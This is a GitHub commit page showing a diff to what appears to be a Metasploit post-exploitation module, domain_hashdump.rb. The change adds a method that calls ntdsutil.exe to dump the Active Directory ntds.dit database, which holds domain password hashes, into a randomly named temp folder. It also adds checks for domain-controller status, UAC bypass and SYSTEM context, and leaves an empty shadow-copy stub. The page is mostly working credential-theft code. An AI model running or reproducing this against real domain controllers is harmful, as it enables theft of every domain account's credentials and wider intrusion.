Skip to content

Commit 3c9c578

Browse files
David MaloneyDavid Maloney
authored andcommitted
ntdsutil method in place
ntdsutil method built out to make a copy of ntds.dit on later version of Winbdows Server MSP-12358
1 parent e0c6403 commit 3c9c578

File tree

1 file changed

+25
-2
lines changed

1 file changed

+25
-2
lines changed

modules/post/windows/gather/credentials/domain_hashdump.rb

Lines changed: 25 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -31,19 +31,21 @@ def initialize(info={})
3131

3232
def run
3333
if preconditions_met?
34-
copy_database_file
34+
ntds_file = copy_database_file
3535
end
3636
end
3737

3838
def copy_database_file
3939
database_file_path = nil
4040
case sysinfo["OS"]
4141
when /2003/
42-
42+
database_file_path = vss_method
4343
when /2008|2012/
44+
database_file_path = ntdsutil_method
4445
else
4546
print_error "This version of Windows in unsupported"
4647
end
48+
database_file_path
4749
end
4850

4951
def is_domain_controller?
@@ -57,6 +59,20 @@ def is_domain_controller?
5759
status
5860
end
5961

62+
def ntdsutil_method
63+
tmp_path = "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}"
64+
command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit"
65+
result = cmd_exec("ntdsutil.exe", command_arguments)
66+
if result.include? "IFM media created successfully"
67+
file_path = "#{tmp_path}\\Active Directory\\ntds.dit"
68+
else
69+
print_error "There was an error copying the ntds.dit file!"
70+
file_path = nil
71+
end
72+
file_path
73+
end
74+
75+
6076
def preconditions_met?
6177
status = true
6278
unless is_domain_controller?
@@ -71,8 +87,15 @@ def preconditions_met?
7187
print_error "This module requires UAC to be bypassed first"
7288
status = false
7389
end
90+
if is_system?
91+
print_error "Volume Shadow Copy will not work properly as SYSTEM, migrate to a real user"
92+
status = false
93+
end
7494
return status
7595
end
7696

97+
def vss_method
98+
99+
end
77100

78101
end

0 commit comments

Comments
 (0)